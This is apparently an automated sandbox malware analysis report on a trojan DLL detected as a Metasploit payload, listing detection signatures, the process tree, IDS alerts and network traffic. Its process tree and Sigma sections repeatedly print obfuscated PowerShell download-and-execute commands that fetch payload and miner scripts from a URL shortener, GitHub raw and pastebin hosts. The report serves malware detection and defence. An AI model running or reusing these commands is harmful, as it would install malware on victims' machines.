Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll (renamed file extension from exe to dll)
Original sample name:	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.exe
Analysis ID:	1512072
MD5:	7cbb8ae0a5e5b3bd87898868e18985b2
SHA1:	3240320706483f3801a745c1548a74242a085296
SHA256:	bc4fadea8a16038ea0547023bfb4618cf4195c2221ecd7a928a21a45233d9cb8
Tags:	exe
Infos:

Detection

Metasploit

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MetasploitPayload

Connects to a pastebin service (likely for C&C)

Found suspicious powershell code related to unpacking or dynamic code loading

Obfuscated command line found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Connects to a URL shortener service

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 5880 cmdline: loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 4288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1276 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 2108 cmdline: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 5980 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7700 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7780 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

regsvr32.exe (PID: 3252 cmdline: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 3996 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7692 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7768 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 2780 cmdline: rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer MD5: EF3179D498793BF4234F708D3BE28633)

powershell.exe (PID: 2668 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7660 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7728 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6976 cmdline: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7668 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7708 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Other

Source	Rule	Description	Author	Strings
amsi64_7768.amsi.csv	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
amsi64_7780.amsi.csv	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 3252, ParentProcessName: regsvr32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ProcessId: 3996, ProcessName: powershell.exe

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2668, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ProcessId: 7660, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 2108, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ProcessId: 5980, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2668, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ProcessId: 7660, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 2108, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing), ProcessId: 5980, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T19:24:11.539890+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49706	104.17.112.233	80	TCP
2024-09-16T19:24:11.540853+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	104.17.112.233	80	TCP
2024-09-16T19:24:11.545158+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	104.17.112.233	80	TCP
2024-09-16T19:24:11.548521+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49710	104.17.112.233	80	TCP

ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T19:24:21.523419+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49716	162.159.136.232	443	TCP
2024-09-16T19:24:21.533514+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49717	162.159.136.232	443	TCP
2024-09-16T19:24:21.533904+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49719	162.159.136.232	443	TCP
2024-09-16T19:24:21.590221+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49718	162.159.136.232	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

ReversingLabs: Detection: 26%

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.136.232:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51650 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51651 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51655 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51653 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:51654 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000013.00000002.3249780727.0000017775B91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbll source: powershell.exe, 00000010.00000002.3129336999.00000255548F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb{ source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbllR source: powershell.exe, 00000013.00000002.3249780727.0000017775B91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000F.00000002.3077151933.000002027F6FC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775DC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775E50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3183687643.00000209CB602000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.3129336999.000002555499D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3125917832.00000209CB3C4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Chn.pdb source: powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: klib.pdb source: powershell.exe, 00000014.00000002.3183687643.00000209CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: >C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32vv source: powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbG~ source: powershell.exe, 00000014.00000002.3183687643.00000209CB602000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb(, source: powershell.exe, 00000010.00000002.3186491471.0000025554BF0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775DC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000F.00000002.3138987795.000002027F820000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 0000000F.00000002.3077151933.000002027F6CA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000013.00000002.3317595993.0000017775E0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdbt source: powershell.exe, 00000014.00000002.3125917832.00000209CB330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Target.pdbon.resources source: powershell.exe, 00000013.00000002.3249780727.0000017775B50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000010.00000002.3186491471.0000025554BFD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: scorlib.pdb source: powershell.exe, 00000014.00000002.3183687643.00000209CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb.catf) source: powershell.exe, 00000014.00000002.3125917832.00000209CB330000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb~ source: powershell.exe, 0000000F.00000002.3138987795.000002027F820000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbbY source: powershell.exe, 00000014.00000002.3183687643.00000209CB620000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb,3 source: powershell.exe, 00000014.00000002.3183687643.00000209CB62B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbs.dll\| source: powershell.exe, 00000013.00000002.3249780727.0000017775B91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdbvice source: powershell.exe, 00000010.00000002.3129336999.00000255548F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source:	Binary string: tility.pdbpdbity.pdb source: powershell.exe, 0000000F.00000002.3077151933.000002027F6BB000.00000004.00000020.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49716 -> 162.159.136.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49718 -> 162.159.136.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49717 -> 162.159.136.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49719 -> 162.159.136.232:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: unknown	DNS query: name: tinyurl.com
Source: unknown	DNS query: name: tinyurl.com

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 162.159.136.232 162.159.136.232
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: FASTLYUS FASTLYUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49704 -> 104.17.112.233:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49705 -> 104.17.112.233:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49710 -> 104.17.112.233:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49706 -> 104.17.112.233:80

Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
